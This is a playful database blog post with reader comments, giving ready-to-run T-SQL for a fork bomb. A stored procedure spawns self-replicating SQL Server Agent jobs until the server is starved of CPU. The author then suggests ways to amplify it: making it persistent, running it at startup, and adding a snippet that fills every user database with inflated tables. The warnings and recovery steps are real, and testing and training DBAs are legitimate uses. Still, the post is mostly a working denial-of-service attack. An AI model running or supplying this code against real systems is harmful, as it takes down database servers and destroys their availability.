Somewhat different than a sex bomb, a fork bomb is a denial-of-service attack that just starts a process that replicates itself, thereby starting more and more processes until the service goes down. Wikipedia’s fork bomb page lists examples on most operating systems (including Windows).
I’ve always found fork bombs funny because of their elegant simplicity, so I figured, why not build one in SQL Server?
In order to do it, I needed a way to spawn a self-replicating asynchronous process, so I built:
- A stored procedure
- That creates an Agent job
- That runs the stored procedure
So it just infinitely runs itself, spawning more and more Agent jobs as it goes. It’s just seven lines:
|
1 2 3 4 5 6 7 8 |
CREATE PROC ##ForkBomb AS BEGIN DECLARE @GUID UNIQUEIDENTIFIER = NEWID(); EXEC msdb.dbo.sp_add_job @job_name = @GUID; EXEC msdb.dbo.sp_add_jobstep @job_name = @GUID, @step_id = 1, @step_name = 'Uno', @command = 'WHILE 1 = 1 EXEC ##ForkBomb;', @database_name = 'msdb'; EXEC msdb.dbo.sp_add_jobserver @job_name = @GUID; EXEC msdb.dbo.sp_start_job @job_name = @GUID; END |
Run that stored proc just once – WHICH YOU SHOULD NEVER DO, but I know how you people roll and you’re going to go try this in a VM, just like I did – and the result is rather spectacular: within seconds, SQL Server creates thousands of Agent jobs, and they’re fighting for CPU resources:
Seriously, you shouldn’t try this on a VM you ever want to keep again, but if you want to try this trick repeatedly, this Stack answer on deleting Agent jobs will come in handy. To recover, stop both SQL Server and Agent, then start SQL Server without starting Agent.
I’m using a global stored procedure here to limit the damage for fun and games, but if you really wanted to see some explosions, you could:
- Create the stored proc in a user database, or as a permanent object in TempDB
- Add a line to call msdb.dbo.sp_add_schedule to run this job on startup
- Add additional lines in here to run more queries, such as this little gem that randomly creates GUID-named tables in each user database and inflates them
|
1 2 3 |
DECLARE @StringToExec NVARCHAR(4000); SET @StringToExec = 'USE [?]; SELECT m1.text, m2.text AS text2, m3.text AS text3 INTO dbo.[' + CAST(@GUID AS VARCHAR(50)) + '] FROM sys.messages m1 CROSS JOIN sys.messages m2 CROSS JOIN sys.messages m3;' EXEC sp_MSforeachdb @StringToExec |
Wanna watch me run this live, plus a few other stunts? Check out the recording of the Watch SQL Server Break & Explode webcast from Dell DBA Days.
14 Comments. Leave new
Thanks, I needed a massive SQL crash script. This should work wonders. Now to put some resource limits on the VM so it doesn’t kill my laptop.
Is Erik going to post how he broke SQL Server using the DBCC WRITEPAGE command :). That was really fun to see what damage that did. If that were a bad idea jean, would it be cutoff jorts?
Yeah, I have a laundry list of posts to get to. It’ll be up in the next week or so.
Actually I can see a real use for this Testing DBAs on the use of the DAC. Throw this on a VM and then tell your DBA to fix it without rebooting. You are almost going to have to use the DAC.
You’d be tempted to think that the Resource Governor would afford some protection if you classify your agent jobs so they don’t consume all of your CPU? However, when Kendra was out here last year she didn’t sound too impressed with this feature and seemed to indicate it doesn’t actually behave that way? Have you guys already blogged on this?
Chris – depends. Have you actually done that? If you’ve done it, then you’re safe. If you’re just learning about this now through our blog…then no, you’re not safe. 😉
That’s really a lot of damage that you can do with this kind of fork bomb. Especially figuring out what’s happening would be the hardest part I guess.
My suggestion would be to immediately shut down SQL Server Agent. Of course this could not be taken as a general recipe…but if the company doesn’t rely on SQL Server Agent for critical business processes and things are already that worse…wouldn’t that be a way to go?
Could I then use the stored procedures as well to delete the job or would I have to do some deletes on MSDB tables?
What do you think about this?
Martin – I’ll turn those questions around on you. What do YOU think about that? I did the work of writing the post already. 😉
Well Brent…sorry for not reading thoroughly….as you have written yourself “To recover, stop both SQL Server and Agent, then start SQL Server without starting Agent.”
I don’t see a reason why stored procedures like sp_addjob or sp_deletejob shouldn’t work without having the SQL Server Agent enabled. And I have just confirmed that it works. Interestingly it throws an informational message “SQLServerAgent is not currently running so it cannot be notified of this action.”.
In an ideal situation a DBA would also think of his/her backup jobs running through SQL Server Agents and find a replacement such as a sql batch with an infinite loop and an WAIT FOR DELAY command to mimick different executions.
Martin – yep, covered that in the post. (Sorry for the delay in responding, was on vacation.)
ah, I wish I could convert that into MySql. to try it on my setup. Is it possible to do on MySql servers?
Alex – for MySQL help, you’re best off checking with a MySQL blog.
I tried to google it. No luck.
And I guess that could be a good thing. Otherwise half of the internet would be nuked 🙂
Could you do something similar with a loopback linked server? That would remove the dependency onSQL Agent